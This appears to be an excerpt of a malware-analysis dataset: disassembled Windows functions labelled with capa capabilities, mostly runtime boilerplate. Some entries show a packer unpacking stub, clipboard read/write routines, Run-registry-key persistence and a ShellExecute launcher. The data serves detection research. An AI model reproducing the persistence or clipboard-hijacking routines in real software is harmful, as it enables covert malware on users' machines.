joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3978ab6a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3978b5840
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.3978b5840
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x3978ab710
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x397984124]
mov rbx, rcx
test esi, esi
jle 0x3978ab840
mov rax, qword [0x397984128]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3978ab75b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3978ab7e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3978ab740
mov rcx, rbx
call fcn.3978abf70
mov rdi, rax
test rax, rax
je 0x3978ab862
mov rax, qword [0x397984128]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.3978ac0b0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x397984128]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3978ab847
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3978ab7de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3978ab7f0
add dword [0x397984124], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x397984128]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3978ab7de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3978ab6a0
nop dword [rax]
xor esi, esi
jmp 0x3978ab768
mov rax, qword [0x397984128]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3978ab6a0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.3978ab6a0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3978abbe0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x397984160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x397984140]
test rbx, rbx
je 0x3978abc3c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3978abc33
test rsi, rsi
je 0x3978abc33
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3978abc18
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3978abf70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x39795e210]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3978abf90
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3978abf98
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3978abf90
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3978abfed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3978abfe4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3978abf90
add rax, 0x28
cmp rax, r9
jne 0x3978abfd0
xor eax, eax
ret

Function at 0x3978abff0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x39795e210]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x3978ac00f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3978ac018
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x3978ac00f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x3978ac0b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x39795e210]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3978ac0cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3978ac0d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x397918e80
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x397918ec8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x397918e9a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x397953750
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x397957f60]
jmp 0x3978acdd0

Function at 0x397953760
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x397957f60]
jmp 0x3978acdd0
Function at 0x14003bc00
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003bc0d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003bc1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003bc05
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003bc35
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003bc22
sub eax, 3
jb 0x14003bc4f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003bc86
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003bc76
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003bc74
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003bc63
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003bbc2
jmp 0x14003bc0d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1b400
mov dl, 9
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003bcd2
cmp rsi, rcx
jae 0x14003bcda
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003bcb9
cmp al, 0x8f
ja 0x14003bcb9
cmp byte [rsi - 2], 0xf
je 0x14003bcbf
sub al, 0xe8
cmp al, 1
ja 0x14003bca3
cmp rsi, rcx
jae 0x14003bcda
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003bca9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003bcda
lodsb al, byte [rsi]
jmp 0x14003bcb9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x39000]
mov eax, dword [rdi]
or eax, eax
je 0x14003bd43
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4bfec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003bce7
jns 0x14003bd1c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14003bd26
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003bd3d
mov qword [rbx], rax
add rbx, 8
jmp 0x14003bd07
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003bd9b
sub rsp, 0xffffffffffffff80
jmp 0x14001bce0
Function at 0x140003020
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000306a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000306a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000306a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000306a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000306a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000306c
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00534b80]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00534b90]
mov dword [rax], 1
mov rax, qword [0x00534ba0]
mov dword [rax], 1
mov rax, qword [0x00534b70]
mov dword [rax], 1
mov rax, qword [0x00534a20]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00534b60]
mov dword [0x00568008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00534b20]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00533ea0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4015e4
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
je 0x401625
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
test rax, rax
je 0x401625
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
test eax, eax
je 0x401625
mov eax, 1
jmp 0x40162a
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x4019b6
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
sete al
test al, al
je 0x4019e9
mov eax, 0
jmp 0x401ac4
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
jne 0x401a2e
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
jmp 0x401ac4
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x60], rax
cmp qword [rbp - 0x60], 0
je 0x401aa6
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
lea rbx, [rax + 1]
mov rcx, qword [rbp - 0x30]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x60]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [rbp - 0x58]
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_SetClipboardData]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 1
jmp 0x401ac4
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov eax, 0
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x402129
Capabilities:
Create directory

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x168
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x40], xmm6
movaps xmmword [rbp + 0x50], xmm7
movaps xmmword [rbp + 0x60], xmm8
movaps xmmword [rbp + 0x70], xmm9
movaps xmmword [rbp + 0x80], xmm10
movaps xmmword [rbp + 0x90], xmm11
movaps xmmword [rbp + 0xa0], xmm12
movaps xmmword [rbp + 0xb0], xmm13
movaps xmmword [rbp + 0xc0], xmm14
movaps xmmword [rbp + 0xd0], xmm15
mov qword [rbp + 0x130], rcx
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x30], rax
lea rax, [0x00552220]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x20]
lea rbx, [rbp + 0x40]
mov qword [rax], rbx
lea rdx, [0x00402282]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg._Unwind_SjLj_Register
lea rax, [rbp + 0x3b]
mov rcx, rax
call fcn.00479e00
mov rcx, qword [rbp + 0x130]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x130]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rcx, rax
lea rdx, [rbp + 0x3b]
lea rax, [rbp + 0x10]
mov dword [rbp - 0x58], 1
mov r9, rdx
mov r8, qword [rbp + 8]
mov rdx, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp + 0x3b]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [rbp - 0x58], 2
call rax
test eax, eax
sete al
test al, al
je 0x402269
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x3c], eax
cmp dword [rbp + 0x3c], 0xb7
je 0x402269
mov byte [rbp + 8], 0
jmp 0x40226d
mov byte [rbp + 8], 1
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
movzx eax, byte [rbp + 8]
mov byte [rbp + 8], al
jmp 0x4022e3
lea rax, [rbp - 0x60]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
movzx eax, byte [rbp + 8]
movaps xmm6, xmmword [rbp + 0x40]
movaps xmm7, xmmword [rbp + 0x50]
movaps xmm8, xmmword [rbp + 0x60]
movaps xmm9, xmmword [rbp + 0x70]
movaps xmm10, xmmword [rbp + 0x80]
movaps xmm11, xmmword [rbp + 0x90]
movaps xmm12, xmmword [rbp + 0xa0]
movaps xmm13, xmmword [rbp + 0xb0]
movaps xmm14, xmmword [rbp + 0xc0]
movaps xmm15, xmmword [rbp + 0xd0]
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x402349
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
je 0x402384
mov eax, dword [rbp - 4]
and eax, 0x10
test eax, eax
je 0x402384
mov eax, 1
jmp 0x402389
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x40238f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push rsi
push rbx
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 8], rax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
setne al
test al, al
je 0x4023e8
mov eax, 0
jmp 0x402470
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add rax, 1
lea ebx, [rax + rax]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rsi, rax
mov rcx, qword [rbp + 0x20]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
setne al
test al, al
je 0x40245b
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
jmp 0x402470
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
add rsp, 0x40
pop rbx
pop rsi
pop rbp
ret

Function at 0x402478
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0x20
seta al
add rsp, 0x40
pop rbp
ret
Function at 0x40ddb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00568844]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x40df38
mov rax, qword [0x00568848]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40ddfc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x40de85
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x40dde0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40df6d
mov rax, qword [0x00568848]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00568848]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40df50
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40de7e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x40dee0
add dword [0x00568844], 1
cmp edi, 8
jae 0x40deb3
test dil, 4
jne 0x40df24
test edi, edi
je 0x40dea8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40df3f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x40dea8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40decc
jmp 0x40dea8
add rsi, qword [0x00568848]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40de7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x40dea8
xor esi, esi
jmp 0x40de07
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x40dea8
mov rax, qword [0x00568848]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x40e6c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00568b20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00568b00]
test rbx, rbx
je 0x40e714
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40e70b
test rsi, rsi
je 0x40e70b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40e6f0
lea rcx, [0x00568b20]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x40e950
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x40e960
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x40e970
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40e9b1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40e9a8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x40e9b3
add rax, 0x28
cmp rax, r9
jne 0x40e994
xor eax, eax
ret

Function at 0x40ea50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00534a20]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40eabd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40eabd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40eabd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40eab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40eabf
add rax, 0x28
cmp rax, r9
jne 0x40eaa0
xor eax, eax
add rsp, 0x28
ret

Function at 0x40ebc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00534a20]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x40ebe0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40ebd8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40ec3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x40ec34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40ec44
add rax, 0x28
cmp rax, r9
jne 0x40ec20
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x40ec60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00534a20]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40ecce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40ecce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40ecce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40ecce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x40ecc5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x40ecd5
add rcx, 0x28
cmp rcx, rax
jne 0x40ecb0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x40ece8
jmp 0x40ecce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x40ecf6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40ecce
test r9d, r9d
jg 0x40ece0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret